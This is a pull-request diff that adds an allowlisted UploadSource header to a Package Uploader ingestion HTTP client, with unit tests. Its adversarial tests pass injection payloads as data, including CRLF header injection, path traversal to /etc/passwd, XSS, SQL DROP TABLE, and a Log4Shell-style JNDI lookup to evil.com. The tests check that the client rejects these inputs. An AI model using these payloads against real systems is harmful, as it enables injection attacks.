Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
309 changes: 308 additions & 1 deletion src/PackageUploader.ClientApi.Test/PackageUploaderServiceTest.cs
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,7 @@
using Microsoft.VisualStudio.TestTools.UnitTesting;
using Moq;
using System;
using System.Linq;
using System.Net;
using System.Net.Http;
using System.Threading;
Expand Down Expand Up @@ -96,9 +97,315 @@ public void Initialize()
.ReturnsAsync(() => new HttpResponseMessage(HttpStatusCode.OK) { Content = JsonContent.Create<IngestionGamePackage>(_movedPackage) });

var loggerIngestionClient = new NullLogger<IngestionHttpClient>();
_ingestionClient = new IngestionHttpClient(loggerIngestionClient, httpClient.Object, null);
_ingestionClient = new IngestionHttpClient(loggerIngestionClient, httpClient.Object, null, null);
}

[TestMethod]
public void UploadSourceHeader_DefaultsToPackageUploader_WhenConfigIsNull()
{
// IngestionHttpClient constructed with null UploadSourceConfig should default to "PackageUploader"
HttpRequestMessage capturedRequest = null;

var handler = new Mock<HttpMessageHandler>();
handler.Protected()
.Setup<Task<HttpResponseMessage>>("SendAsync",
ItExpr.IsAny<HttpRequestMessage>(),
ItExpr.IsAny<CancellationToken>())
.Callback<HttpRequestMessage, CancellationToken>((req, _) => capturedRequest = req)
.ReturnsAsync(new HttpResponseMessage(HttpStatusCode.OK)
{
Content = JsonContent.Create(new IngestionGameProduct { Id = TestProductId })
});

var httpClient = new HttpClient(handler.Object) { BaseAddress = new Uri("https://test.example.com/") };
var logger = new NullLogger<IngestionHttpClient>();
var client = new IngestionHttpClient(logger, httpClient, null, null);

// Act — make any request to trigger CreateJsonRequestMessage
try { client.GetGameProductByLongIdAsync(TestProductId, CancellationToken.None).GetAwaiter().GetResult(); } catch { /* ignore deserialization issues */ }

// Assert
Assert.IsNotNull(capturedRequest, "No HTTP request was captured");
Assert.IsTrue(capturedRequest.Headers.Contains("UploadSource"), "UploadSource header is missing");
var values = capturedRequest.Headers.GetValues("UploadSource").ToArray();
Assert.AreEqual(1, values.Length);
Assert.AreEqual("PackageUploader", values[0]);
}

[TestMethod]
public void UploadSourceHeader_UsesConfigValue_WhenProvided()
{
HttpRequestMessage capturedRequest = null;

var handler = new Mock<HttpMessageHandler>();
handler.Protected()
.Setup<Task<HttpResponseMessage>>("SendAsync",
ItExpr.IsAny<HttpRequestMessage>(),
ItExpr.IsAny<CancellationToken>())
.Callback<HttpRequestMessage, CancellationToken>((req, _) => capturedRequest = req)
.ReturnsAsync(new HttpResponseMessage(HttpStatusCode.OK)
{
Content = JsonContent.Create(new IngestionGameProduct { Id = TestProductId })
});

var httpClient = new HttpClient(handler.Object) { BaseAddress = new Uri("https://test.example.com/") };
var logger = new NullLogger<IngestionHttpClient>();
var config = new UploadSourceConfig { UploadSource = "PackageUploader" };
var client = new IngestionHttpClient(logger, httpClient, null, config);

// Act
try { client.GetGameProductByLongIdAsync(TestProductId, CancellationToken.None).GetAwaiter().GetResult(); } catch { }

// Assert
Assert.IsNotNull(capturedRequest);
var values = capturedRequest.Headers.GetValues("UploadSource").ToArray();
Assert.AreEqual("PackageUploader", values[0]);
}

[TestMethod]
public void UploadSourceHeader_DefaultsToPackageUploader_WhenConfigValueEmpty()
{
HttpRequestMessage capturedRequest = null;

var handler = new Mock<HttpMessageHandler>();
handler.Protected()
.Setup<Task<HttpResponseMessage>>("SendAsync",
ItExpr.IsAny<HttpRequestMessage>(),
ItExpr.IsAny<CancellationToken>())
.Callback<HttpRequestMessage, CancellationToken>((req, _) => capturedRequest = req)
.ReturnsAsync(new HttpResponseMessage(HttpStatusCode.OK)
{
Content = JsonContent.Create(new IngestionGameProduct { Id = TestProductId })
});

var httpClient = new HttpClient(handler.Object) { BaseAddress = new Uri("https://test.example.com/") };
var logger = new NullLogger<IngestionHttpClient>();
var config = new UploadSourceConfig { UploadSource = "" };
var client = new IngestionHttpClient(logger, httpClient, null, config);

// Act
try { client.GetGameProductByLongIdAsync(TestProductId, CancellationToken.None).GetAwaiter().GetResult(); } catch { }

// Assert
Assert.IsNotNull(capturedRequest);
var values = capturedRequest.Headers.GetValues("UploadSource").ToArray();
Assert.AreEqual("PackageUploader", values[0], "Empty UploadSource should fall back to default");
}

[TestMethod]
public void UploadSourceHeader_RejectsUnknownValue_FallsBackToDefault()
{
HttpRequestMessage capturedRequest = null;

var handler = new Mock<HttpMessageHandler>();
handler.Protected()
.Setup<Task<HttpResponseMessage>>("SendAsync",
ItExpr.IsAny<HttpRequestMessage>(),
ItExpr.IsAny<CancellationToken>())
.Callback<HttpRequestMessage, CancellationToken>((req, _) => capturedRequest = req)
.ReturnsAsync(new HttpResponseMessage(HttpStatusCode.OK)
{
Content = JsonContent.Create(new IngestionGameProduct { Id = TestProductId })
});

var httpClient = new HttpClient(handler.Object) { BaseAddress = new Uri("https://test.example.com/") };
var logger = new NullLogger<IngestionHttpClient>();
// "EvilSource" is not in the allowlist — should fall back to "PackageUploader"
var config = new UploadSourceConfig { UploadSource = "EvilSource" };
var client = new IngestionHttpClient(logger, httpClient, null, config);

try { client.GetGameProductByLongIdAsync(TestProductId, CancellationToken.None).GetAwaiter().GetResult(); } catch { }

Assert.IsNotNull(capturedRequest);
var values = capturedRequest.Headers.GetValues("UploadSource").ToArray();
Assert.AreEqual("PackageUploader", values[0], "Unknown UploadSource should fall back to default");
}

[TestMethod]
public void UploadSourceHeader_TrimsWhitespace()
{
HttpRequestMessage capturedRequest = null;

var handler = new Mock<HttpMessageHandler>();
handler.Protected()
.Setup<Task<HttpResponseMessage>>("SendAsync",
ItExpr.IsAny<HttpRequestMessage>(),
ItExpr.IsAny<CancellationToken>())
.Callback<HttpRequestMessage, CancellationToken>((req, _) => capturedRequest = req)
.ReturnsAsync(new HttpResponseMessage(HttpStatusCode.OK)
{
Content = JsonContent.Create(new IngestionGameProduct { Id = TestProductId })
});

var httpClient = new HttpClient(handler.Object) { BaseAddress = new Uri("https://test.example.com/") };
var logger = new NullLogger<IngestionHttpClient>();
var config = new UploadSourceConfig { UploadSource = " PackageUploader " };
var client = new IngestionHttpClient(logger, httpClient, null, config);

try { client.GetGameProductByLongIdAsync(TestProductId, CancellationToken.None).GetAwaiter().GetResult(); } catch { }

Assert.IsNotNull(capturedRequest);
var values = capturedRequest.Headers.GetValues("UploadSource").ToArray();
Assert.AreEqual("PackageUploader", values[0], "Whitespace should be trimmed from UploadSource");
}


#region Adversarial UploadSource Tests

// Utility: builds an IngestionHttpClient and makes a request, returning the captured HttpRequestMessage
private HttpRequestMessage MakeRequestWithUploadSource(string uploadSourceValue)
{
HttpRequestMessage capturedRequest = null;
var handler = new Mock<HttpMessageHandler>();
handler.Protected()
.Setup<Task<HttpResponseMessage>>("SendAsync",
ItExpr.IsAny<HttpRequestMessage>(),
ItExpr.IsAny<CancellationToken>())
.Callback<HttpRequestMessage, CancellationToken>((req, _) => capturedRequest = req)
.ReturnsAsync(new HttpResponseMessage(HttpStatusCode.OK)
{
Content = JsonContent.Create(new IngestionGameProduct { Id = TestProductId })
});

var httpClient = new HttpClient(handler.Object) { BaseAddress = new Uri("https://test.example.com/") };
var logger = new NullLogger<IngestionHttpClient>();
var config = uploadSourceValue == null ? null : new UploadSourceConfig { UploadSource = uploadSourceValue };
var client = new IngestionHttpClient(logger, httpClient, null, config);

try { client.GetGameProductByLongIdAsync(TestProductId, CancellationToken.None).GetAwaiter().GetResult(); } catch { }
return capturedRequest;
}

private static string GetUploadSourceValue(HttpRequestMessage request) =>
request.Headers.GetValues("UploadSource").First();

private static string EscapeForDisplay(string s) =>
s?.Replace("\r", "\\r").Replace("\n", "\\n").Replace("\0", "\\0") ?? "(null)";

[TestMethod]
[DataRow("\r\nX-Injected: evil", DisplayName = "CRLF injection")]
[DataRow("PackageUploader\r\nX-Evil: hacked", DisplayName = "CRLF after valid value")]
[DataRow("\nX-Injected: evil", DisplayName = "LF-only injection")]
[DataRow("PackageUploader\n", DisplayName = "Trailing newline after valid")]
[DataRow("\r\n\r\n<html>evil</html>", DisplayName = "CRLF double to inject body")]
public void Adversarial_CrlfInjection_FallsBackToDefault(string maliciousValue)
{
var request = MakeRequestWithUploadSource(maliciousValue);
Assert.IsNotNull(request);
Assert.AreEqual("PackageUploader", GetUploadSourceValue(request),
$"CRLF injection '{EscapeForDisplay(maliciousValue)}' must be rejected");
}

[TestMethod]
[DataRow("PackageUploader\0evil", DisplayName = "Null byte after valid value")]
[DataRow("\0XGPM", DisplayName = "Null byte before valid value")]
[DataRow("Package\0Uploader", DisplayName = "Null byte in middle")]
public void Adversarial_NullByteInjection_FallsBackToDefault(string maliciousValue)
{
var request = MakeRequestWithUploadSource(maliciousValue);
Assert.IsNotNull(request);
Assert.AreEqual("PackageUploader", GetUploadSourceValue(request),
"Null byte injection must be rejected");
}

[TestMethod]
[DataRow("PACKAGEUPLOADER", DisplayName = "All caps")]
[DataRow("packageuploader", DisplayName = "All lowercase")]
[DataRow("PaCkAgEuPlOaDeR", DisplayName = "Random case")]
public void Adversarial_CaseVariations_AcceptedByAllowlist(string caseVariant)
{
var request = MakeRequestWithUploadSource(caseVariant);
Assert.IsNotNull(request);
Assert.AreEqual(caseVariant, GetUploadSourceValue(request),
$"Case variant '{caseVariant}' should be accepted (OrdinalIgnoreCase)");
}

[TestMethod]
[DataRow("XGPM", DisplayName = "XGPM not in allowlist")]
[DataRow("xgpm", DisplayName = "XGPM lowercase not in allowlist")]
[DataRow("PackageUploader2", DisplayName = "Suffix digit")]
[DataRow("XPackageUploader", DisplayName = "Prefix char")]
[DataRow("XGPM_Extended", DisplayName = "Underscore extension")]
[DataRow("PackageUploader XGPM", DisplayName = "Both values concatenated")]
[DataRow("NotARealSource", DisplayName = "Arbitrary string")]
[DataRow("admin", DisplayName = "Common privilege keyword")]
[DataRow("../../../etc/passwd", DisplayName = "Path traversal")]
[DataRow("<script>alert(1)</script>", DisplayName = "XSS payload")]
[DataRow("'; DROP TABLE uploads; --", DisplayName = "SQL injection")]
[DataRow("{{7*7}}", DisplayName = "SSTI template injection")]
[DataRow("${jndi:ldap://evil.com/a}", DisplayName = "Log4Shell-style")]
public void Adversarial_InvalidValues_FallBackToDefault(string invalidValue)
{
var request = MakeRequestWithUploadSource(invalidValue);
Assert.IsNotNull(request);
Assert.AreEqual("PackageUploader", GetUploadSourceValue(request),
$"Invalid value '{invalidValue}' must be rejected");
}

[TestMethod]
[DataRow("PackageUploader ", DisplayName = "Trailing space")]
[DataRow(" PackageUploader", DisplayName = "Leading space")]
[DataRow("\tPackageUploader", DisplayName = "Leading tab")]
[DataRow(" PackageUploader\t\t", DisplayName = "Mixed whitespace")]
public void Adversarial_WhitespacePadding_TrimsAndAccepts(string paddedValue)
{
var request = MakeRequestWithUploadSource(paddedValue);
Assert.IsNotNull(request);
Assert.AreEqual(paddedValue.Trim(), GetUploadSourceValue(request),
"Whitespace-padded valid values should be trimmed and accepted");
}

[TestMethod]
[DataRow("Pаckageuploader", DisplayName = "Cyrillic 'а' (U+0430) instead of Latin 'a'")]
[DataRow("ХGPM", DisplayName = "Cyrillic 'Х' (U+0425) instead of Latin 'X'")]
[DataRow("Package\u200BUploader", DisplayName = "Zero-width space in middle")]
[DataRow("\uFEFFPackageUploader", DisplayName = "BOM prefix")]
[DataRow("PackageUploader\u200D", DisplayName = "Zero-width joiner suffix")]
public void Adversarial_HomoglyphAndUnicode_FallsBackToDefault(string unicodeAttack)
{
var request = MakeRequestWithUploadSource(unicodeAttack);
Assert.IsNotNull(request);
Assert.AreEqual("PackageUploader", GetUploadSourceValue(request),
$"Unicode homoglyph/invisible char attack must be rejected");
}

[TestMethod]
public void Adversarial_VeryLongString_FallsBackToDefault()
{
var request = MakeRequestWithUploadSource(new string('A', 10_000));
Assert.IsNotNull(request);
Assert.AreEqual("PackageUploader", GetUploadSourceValue(request),
"10K-char string must be rejected by allowlist");
}

[TestMethod]
public void Adversarial_ExactlyOneHeaderValue_NoDuplication()
{
var request = MakeRequestWithUploadSource(null); // default path
Assert.IsNotNull(request);
var values = request.Headers.GetValues("UploadSource").ToArray();
Assert.AreEqual(1, values.Length, "UploadSource header must appear exactly once");
Assert.AreEqual("PackageUploader", values[0]);
}

[TestMethod]
public void Adversarial_EmptyString_FallsBackToDefault()
{
var request = MakeRequestWithUploadSource("");
Assert.IsNotNull(request);
Assert.AreEqual("PackageUploader", GetUploadSourceValue(request));
}

[TestMethod]
public void Adversarial_WhitespaceOnly_FallsBackToDefault()
{
var request = MakeRequestWithUploadSource(" \t\t ");
Assert.IsNotNull(request);
Assert.AreEqual("PackageUploader", GetUploadSourceValue(request));
}

#endregion

[TestMethod]
public async Task GetProductByProductIdTest()
{
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -31,12 +31,15 @@ internal abstract class HttpRestClient : IHttpRestClient
private static readonly MediaTypeHeaderValue JsonMediaTypeHeaderValue = new (MediaTypeNames.Application.Json);
private const LogLevel VerboseLogLevel = LogLevel.Trace;
private readonly string _sdkVersion;
private readonly string _uploadSource;

protected HttpRestClient(ILogger logger, HttpClient httpClient, IngestionSdkVersion ingestionSdkVersion)
protected HttpRestClient(ILogger logger, HttpClient httpClient, IngestionSdkVersion ingestionSdkVersion, UploadSourceConfig uploadSourceConfig)
{
_logger = logger ?? throw new ArgumentNullException(nameof(logger));
_httpClient = httpClient ?? throw new ArgumentNullException(nameof(httpClient));
_sdkVersion = ingestionSdkVersion?.SdkVersion ?? "SDK-V1.0.0";
var candidateSource = uploadSourceConfig?.UploadSource?.Trim();
_uploadSource = UploadSourceConfig.IsAllowedValue(candidateSource) ? candidateSource! : UploadSourceConfig.PackageUploaderSource;
}

public async Task<T> GetAsync<T>(string subUrl, JsonTypeInfo<T> jsonTypeInfo, CancellationToken ct)
Expand Down Expand Up @@ -202,6 +205,7 @@ private HttpRequestMessage CreateJsonRequestMessage<T>(HttpMethod method, string
}
request.Headers.Add("Request-ID", Guid.NewGuid().ToString());
request.Headers.Add("MethodOfAccess", _sdkVersion);
request.Headers.Add("UploadSource", _uploadSource);

if (customHeaders is not null && customHeaders.Any())
{
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
// Copyright (c) Microsoft Corporation.
// Licensed under the MIT License.

using System;
using System.Collections.Generic;

namespace PackageUploader.ClientApi.Client.Ingestion.Client;

/// <summary>
/// Configuration for the UploadSource HTTP header sent with every Partner Center Ingestion API request.
/// This header identifies which tool originated the request, enabling server-side telemetry and diagnostics.
/// The header value is validated against a case-insensitive allowlist. Any value not in the allowlist
/// silently falls back to "PackageUploader". This prevents arbitrary or malicious values from being sent on the wire.
/// Injected into IngestionHttpClient → HttpRestClient, which adds the header in CreateJsonRequestMessage().
/// </summary>
internal class UploadSourceConfig
{
/// Default header value used by the Package Uploader CLI.
public const string PackageUploaderSource = "PackageUploader";

/// Case-insensitive set of permitted UploadSource values.
private static readonly HashSet<string> AllowedValues = new(StringComparer.OrdinalIgnoreCase)
{
PackageUploaderSource,
};

/// The UploadSource value to send. Defaults to PackageUploaderSource.
public string UploadSource { get; init; } = PackageUploaderSource;

/// Returns true if value is a non-empty, allowlisted upload source.
public static bool IsAllowedValue(string value) =>
!string.IsNullOrWhiteSpace(value) && AllowedValues.Contains(value.Trim());
}
Original file line number Diff line number Diff line change
Expand Up @@ -25,7 +25,7 @@ internal sealed class IngestionHttpClient : HttpRestClient, IIngestionHttpClient
{
private readonly ILogger<IngestionHttpClient> _logger;

public IngestionHttpClient(ILogger<IngestionHttpClient> logger, HttpClient httpClient, IngestionSdkVersion ingestionSdkVersion) : base(logger, httpClient, ingestionSdkVersion)
public IngestionHttpClient(ILogger<IngestionHttpClient> logger, HttpClient httpClient, IngestionSdkVersion ingestionSdkVersion, UploadSourceConfig uploadSourceConfig) : base(logger, httpClient, ingestionSdkVersion, uploadSourceConfig)
{
_logger = logger ?? throw new ArgumentNullException(nameof(logger));
}
Expand Down
Loading
Loading